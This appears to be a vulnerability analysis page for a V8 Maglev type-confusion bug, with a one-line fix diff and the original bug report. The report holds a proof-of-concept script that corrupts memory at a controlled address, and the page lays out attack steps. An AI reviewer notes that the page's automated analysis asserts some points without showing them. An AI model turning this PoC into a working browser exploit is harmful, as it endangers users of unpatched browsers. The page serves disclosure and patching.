Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Sub-componentMaglev
Bug ClassType Confusion
Action tierpatch-now — corruption primitive, web-reachable in default config (plausible) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIPlausible
Reviewer notes: Calling StaticTypeIs a 'speculative belief' is imprecise; it is node-derived. Never identifies which callers pass elidable=false or why the static type can be unsound (likely loop-phi widening/untagging). States pointer-as-Smi misuse and the R/W chain as fact, not shown.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker491884710
Fix commit433b2912c5cb (v8/v8) +1/-1
CWECWE-843 (Type confusion)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedProject WhatForLunch (@pjwhatforlunch)
Reported2026-03-12 (per vendor advisory)
Fix landed2026-03-13 (public git)
Disclosed2026-04-07
Patch gap25 days — fix public in source before the advisory

Background

`CheckSmi`
A Maglev runtime guard node that verifies a value is a tagged Small Integer (Smi) and deoptimizes otherwise, so downstream code may treat it as an untagged integer.
`StaticTypeIs(NodeType::kSmi)`
A compile-time query asking whether the optimizer has statically inferred the value’s NodeType to be kSmi; this is a speculative assumption, not a physically enforced fact.
`elidable`
A caller-supplied flag telling BuildCheckSmi whether the physical check may be safely dropped, distinguishing checks that merely document a known type from checks that must actually guard against unsound speculation.
Type confusion
A memory-safety defect where a value of one representation (e.g. a HeapObject pointer) is interpreted as another (e.g. a tagged Smi integer), enabling out-of-bounds or arbitrary access.

Root Cause Analysis

Verify before building a PoC

This analysis is consistent with the fixing commit but not fully provable from it: part of the vulnerable path lives in code the fix commit does not touch. Confirm the trigger and the sink against the source before relying on it for exploit development.
What the commit does not establish: Calling StaticTypeIs a 'speculative belief' is imprecise; it is node-derived. Never identifies which callers pass elidable=false or why the static type can be unsound (likely loop-phi widening/untagging). States pointer-as-Smi misuse and the R/W chain as fact, not shown.

MaglevGraphBuilder::BuildCheckSmi short-circuited and returned the input ValueNode without inserting a CheckSmi whenever object->StaticTypeIs(broker(), NodeType::kSmi) held, regardless of the elidable parameter. Because a static kSmi type is an optimizer assumption rather than a physically enforced property, it can be unsound in contexts where the check exists precisely to validate that speculation. When a caller passed elidable=false, it was signalling that the physical CheckSmi was load-bearing — guarding an operation that would misbehave on a non-Smi input — yet the buggy early return dropped the check anyway. A value that was speculatively typed kSmi but actually a HeapObject/HeapNumber at runtime then flowed unguarded into Smi-assuming code.

The fix conjoins the elidable condition (StaticTypeIs(...) && elidable) so the check is only elided when the caller has explicitly authorized it.

Key insight
A static type of kSmi is a speculative optimizer belief, not a runtime guarantee; eliding a CheckSmi on that basis alone silently discards the very guard that a non-elidable caller relies on to make the speculation sound.

Attack Path

  1. Prime speculation Craft JavaScript that leads Maglev to statically infer a value’s NodeType as kSmi while the value can actually become a non-Smi at runtime.
  2. Reach a non-elidable site Route that value into an operation whose BuildCheckSmi call uses elidable=false, where the physical check is mandatory for soundness.
  3. Elide the guard The buggy early return returns the value unchecked because its static type is kSmi, ignoring elidable=false.
  4. Feed a non-Smi At runtime supply a HeapObject/HeapNumber, which now flows into code that untags it as a Smi integer.
  5. Corrupt memory The pointer-as-integer confusion yields out-of-bounds or arbitrary reads/writes exploitable in the renderer.

Impact Assessment

This is a TypeConfusion in V8’s Maglev tier reachable from untrusted JavaScript, allowing a pointer to be misinterpreted as a tagged Smi and leading to renderer-process memory corruption. Such primitives are typically chainable into information disclosure and arbitrary read/write, forming the basis of a full renderer exploit. Because it triggers during normal optimized execution of attacker-controlled script, no special privileges or user interaction beyond visiting a page are required.

Files Changed

  • src/maglev/maglev-graph-builder.cc

Audit Directions

  • Static-type-based check elision
    Audit every site that drops a runtime guard (CheckSmi, map checks, bounds checks) solely because a StaticTypeIs/inferred NodeType holds, and confirm a caller-supplied elidability flag also gates it.
  • Elidable-flag threading
    Review callers of BuildCheckSmi and similar builders to verify elidable=false is genuinely honored end-to-end and not overridden by internal short-circuits.
  • Speculation-vs-guarantee conflation
    Look across Maglev/Turbofan for places where a speculative optimizer assumption is treated as a physical invariant, especially where the guard node exists to validate that very speculation.
From 433b2912c5cb94ed0979c8284e96e4d08416b620 Mon Sep 17 00:00:00 2001
From: Darius Mercadier <dmercadier@chromium.org>
Date: Thu, 12 Mar 2026 16:59:23 +0100
Subject: [PATCH] [maglev] Avoid eliding Smi checks too aggressively

Fixed: 491884710
Change-Id: Iea557349d721a2ef151d3002a853fd3998755411
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7661984
Commit-Queue: Victor Gomes <victorgomes@chromium.org>
Auto-Submit: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Victor Gomes <victorgomes@chromium.org>
Cr-Commit-Position: refs/heads/main@{#105781}
---

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 5e09658..0b2eed6 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -4179,7 +4179,7 @@
 ReduceResult MaglevGraphBuilder::BuildCheckSmi(
     ValueNode* object, bool elidable,
     AllowWideningSmiToInt32 allow_widening_smi_to_int32) {
-  if (object->StaticTypeIs(broker(), NodeType::kSmi)) return object;
+  if (object->StaticTypeIs(broker(), NodeType::kSmi) && elidable) return object;
   // Check for the empty type first so that we catch the case where
   // GetType(object) is already empty.
   if (IsEmptyNodeType(IntersectType(
Loading diff…

Original Bug Report

reported by pj...@gmail.com

Maglev: incorrect phi untagging can lead to exploitable write barrier omission

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.

VULNERABILITY DETAILS

Maglev: incorrect phi untagging can lead to exploitable write barrier omission

In MaglevRepresentationSelector::EnsurePhiInputsTagged,

void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) {
  // Since we are untagging some Phis, it's possible that one of the inputs of
  // {phi} is an untagged Phi. However, if this function is called, then we've
  // decided that {phi} is going to stay tagged, and thus, all of its inputs
  // should be tagged. We'll thus insert tagging operation on the untagged phi
  // inputs of {phi}.

  const int skip_backedge = phi->is_loop_phi() ? 1 : 0;
  for (int i = 0; i < phi->input_count() - skip_backedge; i++) {
    ValueNode* input = phi->input(i).node();
    if (Phi* phi_input = input->TryCast<Phi>()) {
      phi->change_input(i,
                        EnsurePhiTagged(phi_input, phi->predecessor_at(i),
                                        BasicBlockPosition::End(), nullptr, i));
    } else {
      // Inputs of Phis that aren't Phi should always be tagged (except for the
      // phis untagged by this class, but {phi} isn't one of them).
      DCHECK(input->is_tagged());
    }
  }
}

That call does not pass force_smi. For an Int32 phi, EnsurePhiTagged therefore emits Int32ToNumber[kCanonicalizeSmi].

In MaglevGraphBuilder::TryBuildStoreField,

MaybeReduceResult MaglevGraphBuilder::TryBuildStoreField(
    compiler::PropertyAccessInfo const& access_info, ValueNode* receiver,
    compiler::AccessMode access_mode, compiler::NameRef name) {
  // ...
  if (field_representation.IsSmi()) {
    RETURN_IF_ABORT(GetAccumulatorSmi(UseReprHintRecording::kDoNotRecord));
  }
  // ...
  StoreTaggedMode store_mode = access_info.HasTransitionMap()
                                   ? StoreTaggedMode::kTransitioning
                                   : StoreTaggedMode::kDefault;
  if (field_representation.IsSmi()) {
    RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
        store_target, value, field_index.offset(), store_mode, name));
  }
  // ...
}

considering the following JavaScript code:

function f(a, b, x) {
  let y = a ? x + 1 : 1;
  let t = y | 0;
  let z = b ? y : 1;
  obj.x = z;
  return obj.x;
}

The first phi y is untagged toInt32 because of y | 0. And EnsurePhiInputsTagged retags it for the outer tagged phi z. If the function is warmed up with Smi, then it will use BuildStoreTaggedFieldNoWriteBarrier for the obj.x = z store. If x is 1073741823, the a ? x + 1 : 1 branch produces 1073741824, which is outside the 31-bit Smi range. Int32ToNumber[kCanonicalizeSmi] therefore creates a HeapNumber, but the Smi-field store still skips the barrier, which creates an untracked pointer to a heap object.

The following POC demonstrates a SIGSEGV in cage + controlled address (set by MARKER) on release build.

const MAX_SMI = 1073741823;

function i2f(high32, low32) {
  const buf = new ArrayBuffer(8);
  const dv = new DataView(buf);
  dv.setUint32(0, low32, true);
  dv.setUint32(4, high32, true);
  return dv.getFloat64(0, true);
}

function nestedPhiStore(o, a, b, x) {
  let y;
  if (a) {
    y = x + 1;
  } else {
    y = 1;
  }

  const t = y | 0;

  let z;
  if (b) {
    z = y;
  } else {
    z = 1;
  }

  o.x = z;
  return t;
}

// SEGV at MARKER
const MARKER = i2f(0x2578877f, 0x25788785);

const obj = {x: 1};

for (let i = 0; i < 4; i++) {
  gc();
}

print("marker =", MARKER);
print("young(obj) before warmup =", %InYoungGeneration(obj));

%PrepareFunctionForOptimization(nestedPhiStore);
for (let i = 0; i < 2000; i++) {
  nestedPhiStore(obj, true, true, i & 1023);
  nestedPhiStore(obj, false, true, i & 1023);
  nestedPhiStore(obj, true, false, i & 1023);
}

%OptimizeMaglevOnNextCall(nestedPhiStore);
nestedPhiStore(obj, true, true, 7);
nestedPhiStore(obj, true, true, MAX_SMI);

for (let round = 0; round < 120; round++) {
  const tmp = [];
  for (let i = 0; i < 20000; i++) {
    tmp.push({i, a: MARKER, b: 2.2, c: 3.3});
  }

  if ((round % 10) === 9) {
    print("completed round", round + 1);
  }
}

print("forcing major gc");
gc({ type: "major" });

print("about to read corrupted slot");
print(obj.x + 0.5);

VERSION

Commit: f285826766bdccddf9ccdabb3f47a3552eafebdb (Wed Mar 11 19:54:08 2026)

Bisect: commit 58c40ce533c9a5fc8a21cfae979880c0320862d8 (Mon Jan 19 19:13:44 2026 +0100) introduces the problem.

REPRODUCTION CASE

exp.js is attached. Please run with:

out.gn/x64.release/d8 –allow-natives-syntax –expose-gc –maglev-untagged-phis ./exp.js

args.gn

dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false

Please attach files directly, not in zip or other archive formats, and if you’ve created a demonstration site please also attach the files needed to reproduce the demonstration locally.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: DCHECK failure, SEGV on release

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?

Reporter credit: Project WhatForLunch (@pjwhatforlunch)

View on issue tracker